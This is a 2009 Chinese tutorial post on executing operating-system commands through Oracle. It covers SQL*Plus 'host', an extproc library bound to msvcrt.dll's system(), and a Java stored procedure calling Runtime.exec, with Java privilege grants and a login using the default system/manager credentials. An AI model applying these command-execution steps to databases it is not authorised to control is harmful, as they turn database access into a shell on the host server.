oracle执行cmd的实现方法

来源:asp之家 时间:2009-04-24 12:10:00 

不过有一个简单的执行cmd命令方法:
SQL> host net user
User accounts for \\PC-ATQHJ4UG1SDA
----------------------------------------------------------------------------
__vmware_user__ admin Administrator
ASPNET Guest IUSR_PC-ATQHJ4UG1SDA
IWAM_PC-ATQHJ4UG1SDA SUPPORT_388945a0
The command completed successfully.
unix或linux下用
! command
======================补充======================
网上的另两种方法:
1是利用msvcrt.dll
写一个c:\orac.sql
内容:
Rem
Rem oracmd.sql
Rem
Rem Run system commands via Oracle database servers
Rem
Rem Bugs to david@ngssoftware.com
Rem
CREATE OR REPLACE LIBRARY exec_shell AS
'C:\windows\system32\msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system" LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors
然后C:\>sqlplus /nolog
SQL*Plus: Release 8.1.7.0.0 - Production on Thu Jun 7 14:25:38 2001
(c) Copyright 2000 Oracle Corporation. All rights reserved.
SQL> connect system/manager@orcl (分别是用户名密码和sid)
Connected.
SQL> @c:\orac.sql
Library created.
No errors.
Package created.
No errors.
Package body created.
No errors.
SQL>
SQL> exec oracmd.exec ('dir > c:\oracle.txt');
结果在我本机出现
第 1 行出现错误:
ORA-28595: Extproc 代理: DLL 路径无效
ORA-06512: 在 "SYSTEM.ORACMD", line 2
ORA-06512: 在 line 1
没有成功。
第二种方法
c:\1.sql
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
c:\2.sql
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
c:\3.sql
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
登陆上去后依旧是依次执行
SQL> @c:\1.sql
/
@c:\2.sql
/
@c:\3.sql
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
grant javauserpriv to system;(网上的方法没有这一行,我无法成功,加上去可以)
exec :x:=run_cmz('ipconfig'); 成功运行了命令
测试环境win2003+oracle11g

标签:oracle,cmd,命令,数据库
0
投稿

猜你喜欢

  • Django 跨域请求处理的示例代码

    2022-05-27 17:08:46
  • mysql处理添加外键时提示error 150 问题的解决方法

    2024-01-19 03:40:27
  • 对象无length属性时IE6/IE7中无法将其转换成伪数组(ArrayLike)

    2024-04-17 09:49:44
  • Python3中map()、reduce()、filter()的用法详解

    2024-01-03 01:27:23
  • MYSQL METADATA LOCK(MDL LOCK) 理论及加锁类型测试

    2024-01-23 11:16:46
  • mysql 将列值转变为列的方法

    2024-01-18 21:27:38
  • MySQL如何选择合适的索引

    2024-01-28 05:05:54
  • MySQL表复合查询的实现

    2024-01-15 19:49:20
  • python用什么编辑器进行项目开发

    2021-04-17 19:25:20
  • python 获取字典特定值对应的键的实现

    2022-07-01 19:25:21
  • Vue 解决多级动态面包屑导航的问题

    2024-05-02 17:11:19
  • Python实现子类调用父类的初始化实例

    2023-09-20 00:25:27
  • Python正则表达中re模块的使用

    2023-10-11 03:38:22
  • Go语言题解LeetCode561数组拆分

    2023-06-20 22:49:14
  • Python绘图Matplotlib之坐标轴及刻度总结

    2023-10-01 15:56:39
  • python处理两种分隔符的数据集方法

    2023-06-17 11:24:54
  • 阿里云服务器新建用户具体方法

    2024-01-22 19:08:51
  • mysql中获取一天、一周、一月时间数据的各种sql语句写法

    2024-01-22 04:21:06
  • Go语言使用MySql的方法

    2024-01-20 04:09:25
  • SQL Server的彻底卸载与再次安装方式

    2024-01-17 15:55:50
  • asp之家 网络编程 m.aspxhome.com